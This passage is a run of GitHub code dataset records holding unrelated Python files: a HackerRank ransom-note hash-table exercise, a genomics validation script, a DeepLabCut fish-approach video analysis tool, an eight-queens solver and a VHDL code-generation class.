'30')\n\n# buy / sell if asset\n\n\nbsm = BinanceSocketManager(client)\nsocket = bsm.trade_socket('BTCUSDT')","repo_name":"finch1/Py-Trading","sub_path":"Automated Trading.py","file_name":"Automated Trading.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"6189610276","text":"# Hash Tables: Ransom Note\n# Cracking the Coding Interview Challenge\n# https://www.hackerrank.com/challenges/ctci-ransom-note\n\nclass Word:\n def __init__(self, word, used):\n self.word = word\n self.used = used\n \n \ndef ransom_note(magazine, ransom):\n # Initialize hashMap\n hashMap = []\n for i in range(len(magazine)):\n hashMap.append([])\n \n # Add magazine words to hashMap\n for word in magazine:\n hashIdx = hash_func(word, len(hashMap))\n hashMap[hashIdx].append(Word(word, False))\n \n # Compare note words to magazine hashMap\n for word in ransom:\n hashIdx = hash_func(word, len(hashMap))\n foundMatch = False\n for entries in hashMap[hashIdx]:\n if entries.word == word and not entries.used:\n foundMatch = True\n entries.used = True\n break\n if not foundMatch:\n return False\n return True\n \n\ndef hash_func(word, length):\n hashVal, count = 0, 0\n for letter in list(word):\n count += 1\n hashVal += (ord(letter) * 31 + count * 7)\n return hashVal % length\n\n#------------------------------- Provided -------------------------------\n\nm, n = map(int, input().strip().split(' '))\nmagazine = input().strip().split(' ')\nransom = input().strip().split(' ')\nanswer = ransom_note(magazine, ransom)\nif(answer):\n print(\"Yes\")\nelse:\n print(\"No\")\n \n","repo_name":"bradymadden97/practice","sub_path":"ctci-ransom-note.py","file_name":"ctci-ransom-note.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71325608429","text":"import os\nimport sys\nfrom tqdm import tqdm\n\nfile_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsys.path.append(file_dir)\n\nfrom VEnCode import internals\nfrom VEnCode.utils import dir_and_file_handling as d_f_handling\nfrom VEnCode.utils import validation_utils as val\nfrom VEnCode.common_variables import promoter_file_name, enhancer_file_name, primary_cell_list\n\n\nclass SetUp:\n \"\"\"set up some variables: \"\"\"\n cell_type = \"hepatocellular carcinoma cell line: HepG2 ENCODE\"\n type = \"cell lines\"\n data_type = \"enhancers\"\n\n celltypes = [\"small cell lung carcinoma cell line\"] # primary_cell_list\n types = \"primary cells\"\n\n data_set = \"both\" # default: None\n\n # Next ones you may not need to change:\n if data_type == \"enhancers\":\n file_name = enhancer_file_name\n target_celltype_activity = 0.1\n elif data_type == \"promoters\":\n file_name = promoter_file_name\n target_celltype_activity = 0.5\n else:\n raise AttributeError(\"data_type - {} - currently not supported\".format(data_type))\n\n\n# Now you don't need to change anything else\n\nclass ValidatedElements:\n def __init__(self, set_up):\n self.set_up = set_up\n self.validate_with = val.get_data_to_validate(set_up.cell_type, set_up.data_set)\n re_other_dataset = self.validate_with.data.shape[0]\n\n if val.status_parsed(set_up.cell_type):\n self._data_parsed_cleaner()\n else:\n self._data_raw_cleaner()\n re_not_val = self.data.data.shape[0]\n\n self.data.select_validated()\n\n re_val = self.data.data.shape[0]\n results = re_val / re_not_val * 100\n\n self.results = {\"CAGE\": re_not_val, \"Other data set\": re_other_dataset, \"together\": re_val,\n \"percentage\": results}\n\n def _data_parsed_cleaner(self):\n self.data = internals.DataTpmFantom5Validated(self.validate_with, file=\"parsed\", sample_types=\"cell lines\",\n data_type=self.set_up.data_type)\n self.data.make_data_celltype_specific(self.set_up.cell_type)\n self.data.filter_by_target_celltype_activity(threshold=self.set_up.target_celltype_activity)\n\n def _data_raw_cleaner(self):\n data_to_add_ctp = internals.DataTpmFantom5(inputs=self.set_up.file_name, sample_types=self.set_up.type,\n data_type=self.set_up.data_type)\n\n self.data = internals.DataTpmFantom5Validated(self.validate_with, file=self.set_up.file_name,\n sample_types=\"primary cells\",\n data_type=self.set_up.data_type)\n self.data.merge_donors_primary(exclude_target=False)\n self.data.add_celltype(self.set_up.cell_type, data_from=data_to_add_ctp, data_type=self.set_up.data_type)\n self.data.make_data_celltype_specific(self.set_up.cell_type)\n self.data.filter_by_target_celltype_activity(threshold=self.set_up.target_celltype_activity)\n\n def export(self):\n \"\"\"\n Export the results to a file.\n \"\"\"\n # create a directory to store results\n if self.set_up.data_set is not None:\n folder = os.path.join(\"Validations\", self.set_up.data_set)\n else:\n folder = \"Validations\"\n results_directory = d_f_handling.file_directory_handler(\"{}.csv\".format(self.set_up.cell_type),\n folder=folder,\n path_type=\"parent3\")\n d_f_handling.write_one_value_dict_to_csv(results_directory, self.results)\n print(\"File saved in: {}\".format(results_directory))\n\n\"\"\"\nvalidate_with = internals.BroadPeak(\"DennySK2016\")\nvalidate_with_2 = internals.ChristensenCL2014Data()\nvalidate_with.join_data_sets(validate_with_2)\nprint(validate_with.data.shape)\n\nresults = {}\nfor celltype in tqdm(setup.celltypes, desc=\"Completed: \"):\n data = internals.DataTpmFantom5Validated(validate_with, file=\"parsed\", sample_types=setup.types,\n data_type=setup.data_type)\n data.make_data_celltype_specific(celltype)\n data.filter_by_target_celltype_activity(threshold=setup.target_celltype_activity)\n re = data.data.shape[0]\n data.select_validated()\n validated_re = data.data.shape[0]\n results[celltype] = validated_re # / re * 100\n\"\"\"\n\"\"\"\n# create a directory to store results\nresults_directory = d_f_handling.file_directory_handler(\"num SCLC Denny REs.csv\", folder=\"Validations\",\n path_type=\"parent3\")\n\n# Set up the important information to include in the file\ninfo_list = [attr for attr in dir(setup) if not callable(getattr(setup, attr)) and not attr.startswith(\"__\")]\ninfo_dict = {}\nfor item in info_list:\n info_dict[item] = getattr(setup, item)\n\n# Write the results on a file\nVEnCode.utils.dir_and_file_handling.write_dict_to_csv(results_directory, info_dict, deprecated=False)\nVEnCode.utils.dir_and_file_handling.write_one_value_dict_to_csv(results_directory, results, method=\"a\")\nprint(\"File saved in: {}\".format(results_directory))\n\"\"\"\n\nif __name__ == \"__main__\":\n setup = SetUp()\n ven = ValidatedElements(setup)\n ven.export()\n","repo_name":"AndreMacedo88/VEnCode","sub_path":"VEnCode/scripts/num_validated_elements.py","file_name":"num_validated_elements.py","file_ext":"py","file_size_in_byte":5345,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"4096844080","text":"import os\nimport argparse\nimport subprocess\nimport deeplabcut\nimport numpy as np\nimport pandas as pd\n\n\nclass Model:\n def __init__(self, conf_file, save_dir, approach_radius, video_folder, frame_rate, frame_file):\n self.RESULT_POSTFIX = 'DeepCut_resnet50_FishApproachJun24shuffle1_900000.h5'\n self.NEW_DIMS = {'width': 480,\n 'height': 270}\n # After resize:\n # Image petri diameter = 181px\n # Real petri diameter = 94mm\n self.SIZE_RATIO = 1.93\n self.CONF_THRESHOLD = 0.92\n self.FRAME_RATE = frame_rate\n self.conf = conf_file\n self.save_dir = save_dir\n self.approach_radius = approach_radius\n self.sum_file = pd.DataFrame(columns=['Subject',\n 'Duration in radius - left-facing',\n 'Duration in radius = right-facing',\n 'Duration outside radius - left-facing',\n 'Duration outside radius - right-facing',\n 'Left approaches',\n 'Right approaches'\n ])\n\n self.FRAME_FILE = frame_file\n if self.FRAME_FILE is not None:\n self.FRAME_SNIPS = {}\n self._parse_frames(self.FRAME_FILE)\n\n def _parse_frames(self, source):\n with open(source, 'r') as f:\n for idx, line in enumerate(f):\n # row specifying video name\n if idx % 3 == 0:\n vname = line.strip()\n self.FRAME_SNIPS[vname] = {'l_fish': None,\n 'r_fish': None}\n # row specifying left fish frames\n elif (idx-1) % 3 == 0:\n delin = line.split(' ')\n self.FRAME_SNIPS[vname]['l_fish'] = [\n int(delin[0]), int(delin[1])]\n\n elif (idx-2) % 3 == 0:\n delin = line.split(' ')\n self.FRAME_SNIPS[vname]['r_fish'] = [\n int(delin[0]), int(delin[1])]\n\n def _resize_avi(self, avi_file, dest_folder):\n # not an absolute path\n if not (avi_file.startswith('/') or avi_file[1] == ':'):\n pwd = os.getcwd()\n avi_file = pwd + '/' + avi_file\n\n if not (dest_folder.endswith('\\\\') or dest_folder.endswith('/')):\n dest_folder += '/'\n avi_file = avi_file.replace('\\\\', '/')\n vid_name = f'{dest_folder + \"\".join(avi_file.split(\"/\")[-1].split(\".\")[:-1])}_resized.avi'\n subprocess.call(['ffmpeg',\n '-i', avi_file,\n '-vf', f'scale={self.NEW_DIMS[\"width\"]}:{self.NEW_DIMS[\"height\"]}',\n vid_name])\n return vid_name\n\n def _get_distance(self, x1, y1, x2, y2):\n return np.sqrt(np.square(x1-x2) + np.square(y1-y2)) / self.SIZE_RATIO\n\n def _is_left_facing(self, row, side_prefix):\n # which side of fish faces rod\n left_d = self._get_distance(row[f'{side_prefix}head_l'][0], row[f'{side_prefix}head_l'][1],\n row[f'{side_prefix}rod'][0], row[f'{side_prefix}rod'][1])\n right_d = self._get_distance(row[f'{side_prefix}head_r'][0], row[f'{side_prefix}head_r'][1],\n row[f'{side_prefix}rod'][0], row[f'{side_prefix}rod'][1])\n\n if left_d < right_d:\n return 1\n return 0\n\n def _is_in_radius(self, row, side_prefix):\n # which side of fish (if any) crosses approach-radius\n left_d = self._get_distance(row[f'{side_prefix}head_l'][0], row[f'{side_prefix}head_l'][1],\n row[f'{side_prefix}rod'][0], row[f'{side_prefix}rod'][1])\n right_d = self._get_distance(row[f'{side_prefix}head_r'][0], row[f'{side_prefix}head_r'][1],\n row[f'{side_prefix}rod'][0], row[f'{side_prefix}rod'][1])\n\n if left_d < self.approach_radius or right_d < self.approach_radius:\n return 1\n return 0\n\n @staticmethod\n def _coord_fill_helper(relative_coords, frame_idx, fill_length, start_x, start_y):\n x = start_x + ((fill_length-frame_idx)/(fill_length+1)\n * (relative_coords[0]-start_x))\n y = start_y + ((fill_length-frame_idx)/(fill_length+1)\n * (relative_coords[1]-start_y))\n return [x, y]\n\n def _fill_missing_frames(self, row_buffer, curr_row, backtrack_counter, start_row):\n buffer_end = len(row_buffer)-1\n for row_idx in range(backtrack_counter):\n tmp = row_buffer[buffer_end-row_idx]\n for col_idx in range(-1, -6, -1):\n s_x = start_row[col_idx][0]\n s_y = start_row[col_idx][1]\n tmp[col_idx] = self._coord_fill_helper(\n curr_row[col_idx], row_idx, backtrack_counter, s_x, s_y)\n row_buffer[buffer_end - row_idx] = tmp\n return row_buffer\n\n def _replace_low_conf(self, frame_lbls):\n l_row_buffer = []\n r_row_buffer = []\n r_start_row = [[0, 0]]*5 # 3 head markers, 1 tail marker, 1 rod marker\n l_start_row = [[0, 0]]*5 # 3 head markers, 1 tail marker, 1 rod marker\n l_conf_counter = 0\n r_conf_counter = 0\n no_detect = [-1, -1]\n\n out_df = pd.DataFrame(columns=['frame_idx', 'l_filled', 'lhead_l', 'lhead_r', 'lhead_c', 'ltail', 'lrod',\n 'r_filled', 'rhead_l', 'rhead_r', 'rhead_c', 'rtail', 'rrod'])\n\n for idx, frame in enumerate(frame_lbls.values[:]):\n conf_flag = True\n l_row = [idx]\n r_row = []\n # labels: HL 0:3, HR 3:6, HC 6:9, T 9:12, R 12:15\n petri1 = frame[:15]\n petri2 = frame[15:]\n if np.min(petri1) > self.CONF_THRESHOLD:\n l_row.append(0) # no filled\n l_row.append(petri1[0:2]) # head l\n l_row.append(petri1[3:5]) # head r\n l_row.append(petri1[6:8]) # head c\n l_row.append(petri1[9:11]) # tail\n l_row.append(petri1[12:14]) # rod\n l_row_buffer = self._fill_missing_frames(\n l_row_buffer, l_row, l_conf_counter, l_start_row)\n l_start_row = l_row[-5:]\n l_conf_counter = 0\n else:\n conf_flag = False\n l_conf_counter += 1\n l_row.append(1) # filled in coordinates\n l_row += [no_detect]*5\n l_row_buffer.append(l_row)\n\n # if any labels are missing, frame will be disregarded\n if np.min(petri2) > self.CONF_THRESHOLD:\n r_row.append(0)\n r_row.append(petri2[0:2])\n r_row.append(petri2[3:5])\n r_row.append(petri2[6:8])\n r_row.append(petri2[9:11])\n r_row.append(petri2[12:14])\n r_row_buffer = self._fill_missing_frames(\n r_row_buffer, r_row, r_conf_counter, r_start_row)\n r_start_row = r_row[-5:]\n r_conf_counter = 0\n else:\n conf_flag = False\n r_conf_counter += 1\n r_row.append(1)\n r_row += [no_detect] * 5\n r_row_buffer.append(r_row)\n\n if conf_flag or len(frame_lbls.values[:])-1 == idx:\n assert len(l_row_buffer) == len(r_row_buffer)\n for i in range(len(l_row_buffer)):\n tmp_row = l_row_buffer[i] + r_row_buffer[i]\n out_df.loc[tmp_row[0]] = np.array(tmp_row)\n l_row_buffer = []\n r_row_buffer = []\n return out_df\n\n def _get_metrics(self, filled_df, save_dir):\n\n out_df = pd.DataFrame(columns=['frame_idx',\n 'l_in_radius', 'l_left_approaches', 'l_right_approaches', 'l_in_time',\n 'l_out_time',\n 'l_in_left_time', 'l_in_right_time',\n 'l_out_left_time', 'l_out_right_time',\n 'l_left_head', 'l_right_head', 'l_center_head', 'l_rod', 'l_coords_filled',\n 'r_in_radius', 'r_left_approaches', 'r_right_approaches', 'r_in_time',\n 'r_out_time',\n 'r_in_left_time', 'r_in_right_time',\n 'r_out_left_time', 'r_out_right_time',\n 'r_left_head', 'r_right_head', 'r_center_head', 'r_rod', 'r_coords_filled'])\n\n left_in_radius = False\n left_fish = {'in_time': 0,\n 'out_time': 0,\n 'in_facing_left': 0,\n 'in_facing_right': 0,\n 'out_facing_left': 0,\n 'out_facing_right': 0,\n 'left_approach': 0,\n 'right_approach': 0}\n\n right_in_radius = False\n right_fish = {'in_time': 0,\n 'out_time': 0,\n 'in_facing_left': 0,\n 'in_facing_right': 0,\n 'out_facing_left': 0,\n 'out_facing_right': 0,\n 'left_approach': 0,\n 'right_approach': 0}\n\n l_approach_duration = 0\n l_side_buffer = None\n r_approach_duration = 0\n r_side_buffer = None\n\n left_cols = [col for col in filled_df.columns if col.startswith('l')]\n right_cols = [col for col in filled_df.columns if col.startswith('r')]\n\n vid_key = save_dir.split('/')[-2]\n if self.FRAME_FILE is not None:\n l_snip = self.FRAME_SNIPS[vid_key]['l_fish']\n l_idx_list = [i for i in range(l_snip[0], l_snip[1]+1)]\n r_snip = self.FRAME_SNIPS[vid_key]['r_fish']\n r_idx_list = [i for i in range(r_snip[0], r_snip[1]+1)]\n\n fill_row = [-1]*9 + [[-1, -1]] * 4 + [-1]\n df_idx = -1\n\n for idx, frame in filled_df.iterrows():\n if self.FRAME_FILE is None or idx in l_idx_list+r_idx_list:\n df_idx += 1\n row = [idx]\n petri1 = frame.loc[left_cols]\n petri2 = frame[right_cols]\n\n # LEFT FISH\n # fish was in radius in previous frame\n if self.FRAME_FILE is None or idx in l_idx_list:\n if left_in_radius:\n if self._is_in_radius(petri1, 'l') == 0:\n left_in_radius = False\n l_approach_duration = 0\n left_fish['out_time'] += 1\n if self._is_left_facing(petri1, 'l') == 1:\n left_fish['out_facing_left'] += 1\n else:\n left_fish['out_facing_right'] += 1\n else:\n left_fish['in_time'] += 1\n l_approach_duration += 1\n if l_approach_duration == self.FRAME_RATE//2:\n if l_side_buffer == 'left':\n left_fish['left_approach'] += 1\n elif l_side_buffer == 'right':\n left_fish['right_approach'] += 1\n l_side_buffer = None\n if self._is_left_facing(petri1, 'l') == 1:\n left_fish['in_facing_left'] += 1\n else:\n left_fish['in_facing_right'] += 1\n\n # fish wasn't in radius in previous frame\n else:\n if self._is_in_radius(petri1, 'l') == 1:\n if self._is_left_facing(petri1, 'l') == 1:\n l_side_buffer = 'left'\n l_approach_duration += 1\n left_fish['in_time'] += 1\n left_fish['in_facing_left'] += 1\n left_in_radius = True\n else:\n l_side_buffer = 'right'\n left_fish['in_time'] += 1\n left_fish['in_facing_right'] += 1\n left_in_radius = True\n else:\n left_fish['out_time'] += 1\n l_approach_duration = 0\n if self._is_left_facing(petri1, 'l') == 1:\n left_fish['out_facing_left'] += 1\n else:\n left_fish['out_facing_right'] += 1\n row.append(int(left_in_radius))\n row.append(left_fish['left_approach'])\n row.append(left_fish['right_approach'])\n row.append(round(left_fish['in_time']/self.FRAME_RATE, 2))\n row.append(round(left_fish['out_time']/self.FRAME_RATE, 2))\n row.append(\n round(left_fish['in_facing_left']/self.FRAME_RATE, 2))\n row.append(\n round(left_fish['in_facing_right']/self.FRAME_RATE, 2))\n row.append(\n round(left_fish['out_facing_left']/self.FRAME_RATE, 2))\n row.append(\n round(left_fish['out_facing_right']/self.FRAME_RATE, 2))\n row.append(petri1.loc['lhead_l']) # head l\n row.append(petri1.loc['lhead_r']) # head r\n row.append(petri1.loc['lhead_c']) # head c\n row.append(petri1.loc['lrod']) # rod\n row.append(petri1.loc['l_filled'])\n else:\n row += fill_row\n\n # RIGHT FISH\n # fish was in radius in previous frame\n if self.FRAME_FILE is None or idx in r_idx_list:\n if right_in_radius:\n if self._is_in_radius(petri2, 'r') == 0:\n right_in_radius = False\n r_approach_duration = 0\n right_fish['out_time'] += 1\n if self._is_left_facing(petri2, 'r') == 1:\n right_fish['out_facing_left'] += 1\n else:\n right_fish['out_facing_right'] += 1\n else:\n right_fish['in_time'] += 1\n r_approach_duration += 1\n if r_approach_duration == self.FRAME_RATE//2:\n if r_side_buffer == 'left':\n right_fish['left_approach'] += 1\n elif r_side_buffer == 'right':\n right_fish['right_approach'] += 1\n r_side_buffer = None\n if self._is_left_facing(petri2, 'r') == 1:\n right_fish['in_facing_left'] += 1\n else:\n right_fish['in_facing_right'] += 1\n\n # fish wasn't in radius in previous frame\n else:\n if self._is_in_radius(petri2, 'r') == 1:\n if self._is_left_facing(petri2, 'r') == 1:\n r_side_buffer = 'left'\n r_approach_duration += 1\n right_fish['in_time'] += 1\n right_fish['in_facing_left'] += 1\n right_in_radius = True\n else:\n r_side_buffer = 'right'\n right_fish['in_time'] += 1\n right_fish['in_facing_right'] += 1\n right_in_radius = True\n else:\n right_fish['out_time'] += 1\n r_approach_duration = 0\n if self._is_left_facing(petri2, 'r') == 1:\n right_fish['out_facing_left'] += 1\n else:\n right_fish['out_facing_right'] += 1\n row.append(int(right_in_radius))\n row.append(right_fish['left_approach'])\n row.append(right_fish['right_approach'])\n row.append(round(right_fish['in_time']/self.FRAME_RATE, 2))\n row.append(\n round(right_fish['out_time']/self.FRAME_RATE, 2))\n row.append(\n round(right_fish['in_facing_left']/self.FRAME_RATE, 2))\n row.append(\n round(right_fish['in_facing_right']/self.FRAME_RATE, 2))\n row.append(\n round(right_fish['out_facing_left']/self.FRAME_RATE, 2))\n row.append(\n round(right_fish['out_facing_right']/self.FRAME_RATE, 2))\n row.append(petri2.loc['rhead_l']) # head l\n row.append(petri2.loc['rhead_r']) # head r\n row.append(petri2.loc['rhead_c']) # head c\n row.append(petri2.loc['rrod']) # rod\n row.append(petri2.loc['r_filled'])\n else:\n row += fill_row\n out_df.loc[df_idx] = row\n out_df.to_csv(save_dir + 'approach_results.csv', index=False)\n return left_fish, right_fish\n\n def _quick_results(self, left_dict, right_dict):\n print('Left Petri Dish:')\n print(\n f'\\tTime spent in radius:\\t\\t\\t\\t{left_dict[\"in_time\"]/self.FRAME_RATE}')\n print(\n f'\\tTime spent inside with left size facing rod:\\t{left_dict[\"in_facing_left\"]/self.FRAME_RATE}')\n print(\n f'\\tTime spent inside with right size facing rod:\\t{left_dict[\"in_facing_right\"]/self.FRAME_RATE}')\n print(\n f'\\tTime spent outside of radius:\\t\\t\\t{left_dict[\"out_time\"]/self.FRAME_RATE}')\n print(\n f'\\tTime spent outside with left size facing rod:\\t{left_dict[\"out_facing_left\"]/self.FRAME_RATE}')\n print(\n f'\\tTime spent outside with right size facing rod:\\t{left_dict[\"out_facing_right\"]/self.FRAME_RATE}')\n print(\n f'\\tTimes approaching rod with left side:\\t\\t{left_dict[\"left_approach\"]}')\n print(\n f'\\tTimes approaching rod with right side:\\t\\t{left_dict[\"right_approach\"]}')\n\n print('Right Petri Dish:')\n print(\n f'\\tTime spent in radius:\\t\\t\\t\\t{right_dict[\"in_time\"]/self.FRAME_RATE}')\n print(\n f'\\tTime spent inside with left size facing rod:\\t{right_dict[\"in_facing_left\"]/self.FRAME_RATE}')\n print(\n f'\\tTime spent inside with right size facing rod:\\t{right_dict[\"in_facing_right\"]/self.FRAME_RATE}')\n print(\n f'\\tTime spent outside of radius:\\t\\t\\t{right_dict[\"out_time\"]/self.FRAME_RATE}')\n print(\n f'\\tTime spent outside with left size facing rod:\\t{right_dict[\"out_facing_left\"]/self.FRAME_RATE}')\n print(\n f'\\tTime spent outside with right size facing rod:\\t{right_dict[\"out_facing_right\"]/self.FRAME_RATE}')\n print(\n f'\\tTimes approaching rod with left side:\\t\\t{right_dict[\"left_approach\"]}')\n print(\n f'\\tTimes approaching rod with right side:\\t\\t{right_dict[\"right_approach\"]}')\n\n def _add_to_summary_file(self, left_dict, right_dict, fname):\n lrow = {'Subject': f'{fname}_left',\n 'Duration in radius - left-facing': left_dict[\"in_facing_left\"]/self.FRAME_RATE,\n 'Duration in radius - right-facing': left_dict[\"in_facing_right\"]/self.FRAME_RATE,\n 'Duration outside radius - left-facing': left_dict[\"out_facing_left\"]/self.FRAME_RATE,\n 'Duration outside radius - right-facing': left_dict[\"out_facing_right\"]/self.FRAME_RATE,\n 'Left approaches': left_dict[\"left_approach\"],\n 'Right approaches': left_dict[\"right_approach\"]}\n rrow = {'Subject': f'{fname}_right',\n 'Duration in radius - left-facing': right_dict[\"in_facing_left\"]/self.FRAME_RATE,\n 'Duration in radius - right-facing': right_dict[\"in_facing_right\"]/self.FRAME_RATE,\n 'Duration outside radius - left-facing': right_dict[\"out_facing_left\"]/self.FRAME_RATE,\n 'Duration outside radius - right-facing': right_dict[\"out_facing_right\"]/self.FRAME_RATE,\n 'Left approaches': right_dict[\"left_approach\"],\n 'Right approaches': right_dict[\"right_approach\"]}\n\n self.sum_file = self.sum_file.append([lrow, rrow], ignore_index=True)\n\n def analyze_video(self, avi_file, del_video=False, del_results=True):\n if self.save_dir.endswith('/'):\n result_dir = self.save_dir + \\\n ''.join(os.path.basename(avi_file).split('.')[:-1]) + '/'\n else:\n result_dir = self.save_dir + '/' + \\\n ''.join(os.path.basename(avi_file).split('.')[:-1]) + '/'\n\n if self.FRAME_FILE is not None and result_dir.split('/')[-2] not in self.FRAME_SNIPS.keys():\n print(f'Skipped video: {result_dir.split(\"/\")[-2]}')\n\n else:\n try:\n os.mkdir(result_dir)\n except:\n pass\n\n if avi_file.endswith('.avi'):\n vid_file = self._resize_avi(avi_file, result_dir)\n else:\n raise Exception(\n 'Unknown video format. Support is limited to tif or avi')\n\n try:\n deeplabcut.analyze_videos(\n self.conf, [vid_file], destfolder=result_dir, save_as_csv=True)\n except:\n print(\n \"Problem analyzing video. Check if config.yaml file was adjusted properly.\")\n deeplabcut.create_labeled_video(\n self.conf, [vid_file], destfolder=result_dir)\n\n result_file = result_dir + \\\n ''.join(os.path.basename(vid_file).split(\n '.')[:-1]) + self.RESULT_POSTFIX\n results = pd.read_hdf(result_file, 'df_with_missing')\n\n filled_in_df = self._replace_low_conf(results)\n left_results, right_results = self._get_metrics(\n filled_in_df, result_dir)\n self._quick_results(left_results, right_results)\n self._add_to_summary_file(left_results, right_results, ''.join(\n os.path.basename(avi_file).split('.')[:-1]))\n\n if del_video:\n os.remove(vid_file)\n if del_results:\n os.remove(result_file)\n os.remove(result_file.replace('.h5', 'includingmetadata.pickle'))\n\n\nif __name__ == '__main__':\n # conf_file, save_dir, approach_radius\n parser = argparse.ArgumentParser(\n description='Analyze cavefish behavior in tif files')\n\n parser.add_argument(\n 'approach_radius', type=int,\n help='Radius around rod that will be considered as an approach if crossed (in mm)'\n )\n\n parser.add_argument(\n '--frame_rate', '-f', type=int, required=False, default=10,\n help='Frame rate at which videos were recorded. Default is 10'\n )\n\n parser.add_argument(\n '--video_folder', '-v', type=str, required=False, default=None,\n help='Folder containing videos to be analyzed. If not specified, user will be prompted for individual videos'\n )\n\n parser.add_argument(\n '--save_dir', '-s', type=str, required=False, default=os.getcwd(),\n help='Directory where results will be stored (default is current directory)'\n )\n\n parser.add_argument(\n '--conf_file', '-c', type=str, required=False,\n default=os.getcwd() + '/DeepLabCutModel/FishApproach-Nick-2019-06-24/config.yaml',\n help='Config file, it is recommended to leave this unchanged for now'\n )\n\n parser.add_argument(\n '--frame_file', '-x', type=str, required=False, default=None,\n help='File containing subsections of videos to analyze.'\n )\n\n usr_args = vars(parser.parse_args())\n\n model = Model(**usr_args)\n if usr_args['video_folder']:\n for vid_path in [f for f in os.listdir(usr_args['video_folder'])]:\n if usr_args['video_folder'].endswith('/') or usr_args['video_folder'].endswith('\\\\'):\n model.analyze_video(\n usr_args['video_folder'][:-1] + '/' + vid_path)\n else:\n model.analyze_video(usr_args['video_folder'] + '/' + vid_path)\n if usr_args['save_dir'].endswith('\\\\') or usr_args['save_dir'].endswith('/'):\n model.sum_file.to_csv(\n usr_args['save_dir']+'summary_results.csv', index=False)\n else:\n model.sum_file.to_csv(\n usr_args['save_dir'] + '/summary_results.csv', index=False)\n else:\n while True:\n vid_path = input('Enter video path or press Ctrl+C to quit:')\n model.analyze_video(vid_path)\n if usr_args['save_dir'].endswith('\\\\') or usr_args['save_dir'].endswith('/'):\n model.sum_file.to_csv(\n usr_args['save_dir']+'summary_results.csv', index=False)\n else:\n model.sum_file.to_csv(\n usr_args['save_dir'] + '/summary_results.csv', index=False)\n\n\n# python RunModel.py 15 -f 10 -v C:/Users/yanni/Desktop/tm/testout/check_vids/ -s C:/Users/yanni/Desktop/tm/testout/ -x C:/Users/yanni/Desktop/tm/testout/frame_excl.txt\n","repo_name":"Nick-AI/FishProject","sub_path":"RunModel.py","file_name":"RunModel.py","file_ext":"py","file_size_in_byte":26336,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"15049832593","text":"def queen(y, coords_list):\n global n\n for i in range(8):\n flag = 0\n for coords in coords_list:\n if i == coords[0] or abs(i - coords[0]) == abs(y - coords[1]):\n flag = 1 \n if flag == 0: \n if y == 7:\n n += 1\n else:\n k = coords_list.copy()\n k.append([i, y])\n queen(y+1, k)\n\nn = 0\nfor i in range(8):\n queen(1, [[i, 0]])\n\nprint(f'Количество расстановок: {n}')\n","repo_name":"Kostik2302/asd-lab-5","sub_path":"Task_3.py","file_name":"Task_3.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41863454063","text":"import argparse\nimport os,sys,inspect\nimport copy\n\nif __name__== \"__main__\":\n currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\n parentdir = os.path.dirname(currentdir)\n sys.path.insert(0,parentdir) \n from CodeGen.xgenBase import *\n from CodeGen.xgenPackage import *\n from CodeGen.xgenDB import *\n from CodeGen.xgen_v_class import *\nelse:\n from .xgenBase import *\n from .xgenPackage import *\n from .xgenDB import *\n from .xgen_v_class import *\n\n\nclass axisStream_converter(v_class_converter):\n def __init__(self):\n super().__init__()\n\n\n def includes(self,obj, name,parent):\n ret =\"\"\n typeName = obj.data.hdl_conversion__.get_type_simple(obj.data)\n \n ret += \"use work.axisStream_\"+str(typeName)+\".all;\\n\"\n members = obj.getMember() \n for x in members:\n ret += x[\"symbol\"].hdl_conversion__.includes(x[\"symbol\"],name,parent)\n\n return ret\n \n def get_packet_file_name(self, obj):\n typeName = obj.data.hdl_conversion__.get_type_simple(obj.data)\n return \"axisStream_\"+str(typeName)+\".vhd\"\n\n def get_packet_file_content(self, obj):\n typeName = obj.data.hdl_conversion__.get_type_simple(obj.data)\n pack = \"axisStream_\"+str(typeName)\n\n fileContent = make_package(pack, obj.data)\n return fileContent\n\nclass axisStream(v_class):\n def __init__(self,Axitype):\n super().__init__(\"axiStream_\"+Axitype.hdl_conversion__.get_type_simple(Axitype))\n self.hdl_conversion__ =axisStream_converter()\n AddDataType( v_copy( Axitype ) )\n self.valid = port_out( v_sl() )\n self.last = port_out( v_sl() )\n self.data = port_out( Axitype )\n self.ready = port_in( v_sl() )\n\n def get_master(self):\n return axisStream_master(self)\n\n def get_slave(self):\n return axisStream_slave(self)\n\nclass axisStream_slave_converter(axisStream_converter):\n def __init__(self):\n super().__init__()\n\n def _vhdl__to_bool(self, obj, astParser):\n hdl = obj.hdl_conversion__._vhdl__call_member_func(obj, \"isReceivingData\",[obj],astParser)\n\n if hdl == None:\n astParser.Missing_template=True\n return \"-- $$ template missing $$\"\n return hdl\n\n def _vhdl__getValue(self,obj, ReturnToObj=None,astParser=None):\n\n vhdl_name = str(obj) + \"_buff\"\n buff = astParser.try_get_variable(vhdl_name)\n\n if buff == None:\n buff = v_copy(obj.rx.data)\n buff.vhdl_name = str(obj) + \"_buff\"\n buff.varSigConst = varSig.variable_t\n astParser.LocalVar.append(buff)\n\n\n hdl = obj.hdl_conversion__._vhdl__call_member_func(obj, \"read_data\",[obj, buff],astParser)\n if hdl == None:\n astParser.AddStatementBefore(\"-- $$ template missing $$\")\n astParser.Missing_template=True\n return buff\n\n\n\n astParser.AddStatementBefore(hdl)\n return buff\n\n def includes(self,obj, name,parent):\n ret = obj.rx.hdl_conversion__.includes(obj.rx,None,None)\n return ret\n\n def get_packet_file_name(self, obj):\n ret = obj.rx.hdl_conversion__.get_packet_file_name(obj.rx)\n return ret\n\n\n def get_packet_file_content(self, obj):\n ret = obj.rx.hdl_conversion__.get_packet_file_content(obj.rx)\n return ret\n\n\nclass axisStream_slave(v_class_slave):\n def __init__(self, Axi_in):\n super().__init__(Axi_in.type+\"_slave\")\n self.hdl_conversion__ =axisStream_slave_converter()\n \n self.rx = variable_port_Slave( Axi_in)\n self.rx << Axi_in\n \n self.data_isvalid = v_variable( v_sl() )\n self.data_internal2 = 